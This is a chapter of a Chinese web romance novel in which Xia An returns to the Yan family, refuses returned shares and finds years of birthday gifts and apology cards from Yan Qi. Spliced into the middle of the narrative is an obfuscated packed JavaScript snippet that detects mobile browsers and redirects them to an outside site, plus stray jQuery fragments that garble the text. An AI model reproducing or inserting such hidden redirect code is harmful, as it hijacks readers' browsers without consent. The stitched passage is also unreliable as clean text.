66. 第六十六章

作品:《夏日有时尽

    颜祈神情冰冷把菜单递给服务员,轻点下颌示意就要这些,对颜淙加入这顿晚餐甚是不满意。


    他们不笑的时候有着如出一辙的冷漠俊朗,只是颜淙立体英隽的五官在灼灼灯光下更加稳重,一双深眸肃然幽静,这是天然的年纪优势,也有性格使然。


    待服务员离开几秒,颜淙熟悉的声音响起,指向夏桉:“你一直住在这?”


    颜祈嘴唇动了动,骨节分明的手在扶手上轻点,已经习惯颜淙总爱盘问的风格。


    以前听着有点烦,但今天这些的话听着莫名舒坦,夏桉总不至于连颜淙的问题也不回答。


    夏桉瞄了一眼颜祈,迟疑应了声。


    颜淙淡淡点头,话里有不容拒绝的强势:“我让人帮你安排退房,等下一起回去。”


    恰好这时餐品已经陆续上齐,夏桉吃得坐立难安,没想到颜淙会直接下决定,她在颜淙面前又总会不自觉拘谨,暗暗懊恼要怎么解释她前面只是随便报了一个酒店名字,想要甩开颜祈。


    直到快结束也没有找到合适的时机,几人起身,助理就站在前方似有话说,视线还往夏桉身上不经意扫了一眼。


    算了,与其被拆穿还不如自己说,夏桉快走两步扯住颜淙定制西装的下摆。


    颜淙放慢脚步,停下来看着她。


    颜祈的视线落在夏桉捏住黑色布料的指尖,看她往下收了收,眸中瞬间冰冷警戒。


    夏桉小声为难道:“吉瑞。”


    她只说了两个字,可颜淙已经明白她的意思,那才是她住的酒店名,近在咫尺的助理也没再说,而是顺着颜淙的目光点了一下头。


    “好。”颜淙温声回应。


    夏桉松开手,嘴唇紧抿,不确定颜祈听到这些的态度,她前面一直在骗他,而颜祈最讨厌人说谎。


    分隔多年,有些习惯就像应激反应,她本意上还是不希望颜祈生气,尽量在离开前维持平和的状态。


    可颜祈只是笑了一下,哪怕他脸上看不出一点笑意,却在夏桉投来的那一眼里极力温和,像一个身上从来没有长过刺的人,天生就是如此。


    余薇夫妇早就收到消息在门口等他们,夏桉一下车就被她拉过去嘘寒问暖,往里面走。


    颜父有事叫走了颜淙。


    余薇话里踟蹰,但思量已久,再也找不出比明天更合适的场景,这也是她把夏桉叫回来的目的之一,“阿姨明天想正式介绍你的身份,告诉大家你以后就是颜家的人,以后不论在哪颜家都会是你的靠山,小淙和小祈他们——”


    “妈。”颜祈一声打断,没控制好自己的情绪。


    余薇被吓了一跳,须臾之间,颜淙已经从书房出来,叫了声夏桉的名字。


    夏桉看向余薇,余薇点点头让她先去。


    余薇被颜祈猝然打断不太高兴,待人走远才说:“你那么大声干吗?”


    “......”颜祈幽怨撇了一眼,耷拉着眼皮不说话。


    余薇轻哼,有时候真是拿颜祈没有办法,已经过了最佳管教时期,她也不想和小儿子因为这件事闹僵,只是想想又来气。


    “你自己不顶用,这也不行那也不行你要怎么样?”


    “反正就是不行。”颜祈一口回绝。


    ......


    书房内,颜淙从抽屉里把几年前夏桉给他的那份自愿转让股份协议拿了出来,推过去。


    他犹记得那个晚上的所有对话,浑身不具备任何杀伤力的小姑娘也会有这样果敢坚毅的时刻,会拿着一份协议在书房早早等他,说要做交易。


    他饶有兴致看着这位初次进行谈判的菜鸟对手,很好奇夏桉会用什么作为自己的筹码。


    夏桉递过文件,双手握拳搭在身体两侧的沙发上,浑然不知这样在颜淙眼里是极其没有底气的表现,很像公司里那些新来的实习生,他光是随便扫一眼,对方都会立马反思自己刚刚哪里犯了错。


    从来没有一个谈判对手会这样轻而易举地先把底牌交到对方的手里。


    颜淙长指在沙发扶手上轻点,听到夏桉对他说出一句别出心裁充满戏剧性的评价。


    “我没有做过生意,但我觉得你应该是个很好的商人,我想拿它们跟你换。”


    颜淙失笑把目光移到夏桉的脸上,女孩面孔清丽,薄直的脊背挺拔,面对他的审视充满胆怯,但还是倔强地微微仰着脸庞没有退缩。


    他头一回觉得她和颜祈其实同一类人,对这个世界的认知总带着一种天真的幻想。


    颜淙略微走神想,或许是夏桉没有见过他在生意场上三分笑意,不近人情只需要利益最大化的样子,才会给夏桉这种错觉,让她误以为自己手上可以和他谈判的筹码。


    “换什么?蓝月岛?”颜淙放下文件。


    “是。”


    这显然是一笔稳赚不赔的生意,颜淙挑眉对上她诚恳紧张的眼睛,许是从未遇见这样的天真的对手,她的胆怯一览无遗,而且夏桉也和那些人不一样,他不免在这种时刻放软声调,充满劝解和引诱地提醒:“那你的股份可不止这么点。”


    夏桉扣的指尖发白,而后摊开掌心把手里的东西放下:“我还想换一样东西。”


    是那枚婚戒。


    颜淙很少见她带过,夏桉的手指很漂亮,纤长细白,指甲总是修的规整圆润,没往手上涂过那些亮丽的色彩,那位短暂出现的钢琴老师不止一次夸过她天生条件优越。


    他想过也许是颜祈不让,也可能是夏桉不方便,但是那样的手确实干干净净的很好看。


    颜祈帮她做的选择虽然不是最好的,但很多都符合夏桉自身表现出的气质。


    那日求婚不过是转机逗留时间的仓促之举,他没想过夏桉会同意,戒指还是后来让助理在当地买来送过去的,为了拍几张照片先放出风声。


    尺寸略大了一号,所以夏桉后来基本没戴他也从未多说。


    直到那日颜祈冲进办公室质询他为什么钻石那么小,他想了想去问母亲那颗拍下的蓝钻,母亲说早就给出来了,回复如果他想要自己会找一颗差不多的。


    不用,颜淙当时这样回道,第二晚在一场私人晚宴下拍下了一颗新的,淡粉色,很像她指甲透出来的颜色。


    现在就放在书房的抽屉里。


    夏桉说,她要为她不成熟的决定付出代价,这对他不公平。


    平生第一次,颜淙听到有人还会这样为他思量,他从小接受精英教育,爷爷告诉他公平是留来有话语权的人,站在高处才能享受公平,父母更偏爱弟弟,但愿意把家业交给他,这就是一种置换的公平。


    从小被颜祈不公平对待的夏桉,竟然还有闲心去衡量他在这场联姻里是否受到公平对待。


    那样纤瘦的骨骼里究竟藏着什么样的力量,颜淙始终不可得知。


    事情发展到如今,颜淙早已猜透夏桉最初的本意,没什么可生气的点,他们难得一致,在这场联姻里放置的真心都不多,双方都可以完美收回,落得体面,这是上流社会最注重的门楣脸面。


    一直温柔善良的人会有需要发泄的时刻吗?还是那些只在颜祈面前才会表现?


    颜淙很奇怪自己为什么总在夏桉身上过多联想,而那些都与颜祈有关,可他又很快找到答案。


    夏桉身上关于颜祈的痕迹太多了。


    一个没有过多要求的人,注定很容易被别人留下痕迹。


    ......


    夏桉对于颜淙推来的东西没有接,五年前他们就达成了协议,蓝月岛没有变成垃圾场,她和颜淙的婚约也取消了。


    这是一场双方都在恪守规则的公平交易。


    颜淙平淡道:“拿回去吧,我当时只是怕你多想。”


    夏桉:“可是你的承诺都已经兑现了。”


    “你不是说我是很好的商人?就当是你年纪太小我先替你保管,这毕竟是你父亲留给你的东西。”


    夏桉沉默了会迟疑道:“那我需要再给你什么?”


    “不用,五年前那场交易我并没有失去什么。”颜淙说:“现在只不过是物归原主。”


    夏桉想了想还是把股份推了回去:“那就麻烦你帮我继续保管,我对这些没有接触,不认为放在我这里会更好。”


    颜淙凝视着她,意味不明,“这么相信我?”


    夏桉没有一丝迟疑地点点头,就算没有小时候那些事情,光凭颜淙现在的行为也足够让她下这个决定。


    直到夏桉离开许久,颜淙眼底闪过晦暗的光线,抬手把文件重新塞回柜子里,刚好遮住下方的纯白饰品盒。


    推门从书房离开,颜祈倚在安静长廊的墙边等他。


    两人视线隔空相峙。


    颜祈眼尾慵懒,嘴唇微不可闻地勾了下,幽幽道:“你们聊什么呢?”


    颜淙长腿径直走过,没理会他的问题。


    颜祈脸色一瞬变得难看,跟上去一只手搭在他的肩膀压低嗓音:“哥。”


    “没说什么。”颜淙冷淡回道。


    “没说什么你们怎么聊这么久,这都有一个小时了。”他和夏桉那几天在海岛上凑起来都没说这么久的话。


    “你和她在蓝月岛上说的还少吗?”


    颜祈没想到他这么快就知道了,悻悻道:“也没几句。”


    他不敢真的招惹颜淙,顿了顿问最后一个问题:“你们之前究竟多久退的婚?”


    “......我这也是怕明天记者看到了乱写,好提前做个准备。”


    颜淙维持惯有的淡漠,但没再避开颜祈的问题:“你把她带去山顶别墅的前一天晚上。”


    颜祈僵在原地,长廊里只剩一个人渐行渐远的脚步声。


    余薇给夏桉送完礼服回来正好撞见颜淙,如今她总会下意识征询颜淙的意见,把夏桉那件事顺口提起:“我想着明天反正有那么多记者在,哪有比这更好的机会,这几年外面总是有人乱传,把你们取消婚约那件事折腾出好几个乱七八糟的版本,弄得桉桉都不敢回来。”


    “我把她认作女儿,以后这里就是她光明正大的家,谁还敢乱写。”


    “你弟弟也是,两个人一起长大,怎么会弄成现在这个样子。”


    “妈,别管了。”颜淙暗叹一口长气,感到从未有过的如此疲惫,把余薇推回房间,“小祈也该长大了,他自己能处理好的。”


    余薇还是不免担忧道:“但愿如此。”


    ......


    夏桉面对这个曾经充满回忆的房间感慨万千,小兔子玩偶又放在了她的床头,干净如初,里面陈列一切照旧。


    只是如今她早就过了需要这些玩偶的年纪,母亲宠溺她,家里的玩偶数不胜数,被接到颜家的时候只带了这一个过来,结果此后数年一直被颜祈当作胜利品占为己有。


    现在又愿意全部还给她。


    她躺在床上半晌没有睡意,侧身望向在月光下陆离斑驳的琉璃柜,突然发现里面好像多了些东西。


    那是颜祈在她房间专门定制的柜子,只能用来展示他送出去的礼物,上下两层,高的那层每格一直都是夏桉按照生日顺序依次摆放,从九岁那年在颜家过的第一个生日,到后来离开,里面一共放了十一个。


    但现在显然不止。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488350|143724||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她以往只是略略看过一眼就放在里面,用来应付颜祈的问题已经足够。


    毕竟颜祈送给她的礼物总是简单粗暴,漂亮大颗的珠宝永远是首选,年年不落。


    柜子里多了七个精美的盒子。


    一股奇异的感觉冲击心口,而后缓慢沉重地持续叩动心扉,不知是因为紧张,还是因为看到这些感到意外,冥冥中仿佛有什么牵引着她,促使夏桉打开了第一个盒子。


    一条三色堇宝石项链,三颗天然缅甸抹谷红宝石切割成心形拼凑镶嵌,纯净无瑕,热烈火彩美的摄人魂魄。


    夕雾草胸针。


    和母亲一样的蓝色鸢尾耳坠。


    ......


    夏桉指尖微微发颤,打开最后那个多出来的盒子。


    蓝光莹莹,浑然天成的一轮满月。


    颜祈在明珠园套在她手上的戒指。


    五年前他就把月亮放在了她的手上。


    心脏鸣动的瞬间,夏桉险些没有支撑住,慌乱把盒子往里面一掷,如同被烫伤一般。


    距离边缘最近的那个首饰盒掉到了白色厚绒地毯上。


    三色堇犹如一颗破碎的心脏,白鸽泣血,在灯光下又一次灼痛她的眼。


    夏桉尽力压住震颤的呼吸,弯腰拾起,海绵垫里掉出一张卡片。


    「祝桉桉二十岁生日快乐!对不起——颜祈」


    心跳倏然衰退缓慢,夏桉踉跄坐在地毯上,隔了很久,静滞的血液才慢慢回温。


    那些盒子被她一一打开散落在身旁,无数的珠宝将她环绕,颗颗耀人眼目。


    「祝夏桉九岁生日快乐!别总哭了!——颜祈」


    「祝夏桉十岁生日快乐!对不起!——颜祈」


    「祝夏桉十一岁生日快乐!去年的礼物我很喜欢!——颜祈」


    ......


    「祝桉桉十五岁生日快乐!今年夏天有惊喜哦!——颜祈」


    「祝桉桉十六岁生日快乐!算了,原谅你,下次不可以再骗我!——颜祈」


    ......


    「祝桉桉十八岁生日快乐!怎么又骗我,算了,这是最后一次下不为例,还有一个礼物哦,明天你就会知道!——颜祈」


    「祝桉桉十九岁生日快乐!怎么又把我和颜淙的生日记反,好吧,再原谅你一次!——颜祈」


    「祝桉桉二十岁生日快乐!对不起!——颜祈」


    「祝桉桉二十一岁生日快乐!对不起!——颜祈」


    .....


    从二十岁往后的每一年,都开始变成重复的话。


    夏桉指尖抚过二十岁的那张卡片,犹见淡淡液体滴落砸出的残痕,心里像卷过一场携风带雨的狂风,酸涩又沉闷。


    她从未听过颜祈的对不起,可他却已经对她说过很多遍。


    ......


    清晨如期而至。


    颜家在江洲市地位非凡,这是颜淙首次以掌权人的身份面相,气场稳练,丰神俊朗的外表吸引了大半的聚光灯。


    剩下的一小半落在颜祈身上,豪门世家的争锋向来风云头条的首选。


    只是记者们纷纷落败,没有在颜祈清峻的脸上找到任何一个可以拿来做文章的表情。


    颜祈从来没想过和颜淙争,他知道颜淙为了坐到那个位置小时候在爷爷那里吃了多少苦头,受过多少严苛的惩罚,但他也不羡慕颜淙能坐到那个位置,那里太高过于险峻,面对的每一个人都披着虚情假意的画皮。


    他只是觉得颜淙看起来很累,明明今天他是今日全场的主角,风光无限,依旧是那副不近人情的生冷面孔,可无端的,颜祈在他身上看到了一丝疲惫。


    得到了,或许才发现努力想要的也不过如此。


    余薇走到哪颜祈就跟到哪,寸步不离。


    好不容易甩开一点,颜祈又凑到她的身边,余薇知道他什么意思,就怕自己一个不注意她会跑到台上宣布夏桉要成为他的妹妹。


    她昨晚被颜淙那样一说其实已经没了心思,毕竟夏桉也一直没有表态,但又不想这样直接告诉颜祈,确实如颜淙所说,他该吃点苦头。


    余薇避开道:“你总跟着我干吗,桉桉在那边。”


    颜祈远远看了一眼夏桉,不敢过去怕记者乱写,更怕余薇脱离他的视线跑到台上胡说。


    颜祈面对母亲耍赖皮:“不过去,我就要跟着你。”


    台上颜淙已经在转让书上签了字,闪光灯四射,他对着话筒先是说了一通冠冕堂皇的场面话,而后宣布万世未来几年的规划以及变动。


    场下部分老人脸色微变,但无人敢发作。


    颜祈听完见记者散的差不多了才回头去找夏桉,看到远处孙副总凑在她的旁边举着一杯香槟在客气,他刚挪步,就被两个记者拦住,举着话筒问他对颜淙成为继承人有什么看法。


    能有什么想法,又不可能直接把心里的想法说出来,今天这样的场合绝对不能黑脸给别人乱写,以免日后落下话柄,说什么颜家小少爷在宴会上愤怒离场,拒绝记者的回答。


    等采访结束,夏桉早就不见踪影。


    颜祈抓住准备溜走的孙副总,孙副总回头谄笑,对自己过往双面讨好又反水告密的事情闭口不提:“小颜总您找我有事?”


    “她人呢?”


    “谁啊?”


    “别让我说第二遍。”


    孙副总逃不过,笑道:“夏小姐是吧,她已经走了。”


    颜祈没有什么耐心:“我知道,我问你往哪走的。”


    孙副总:“机场吧,刚刚她说要回澳洲。”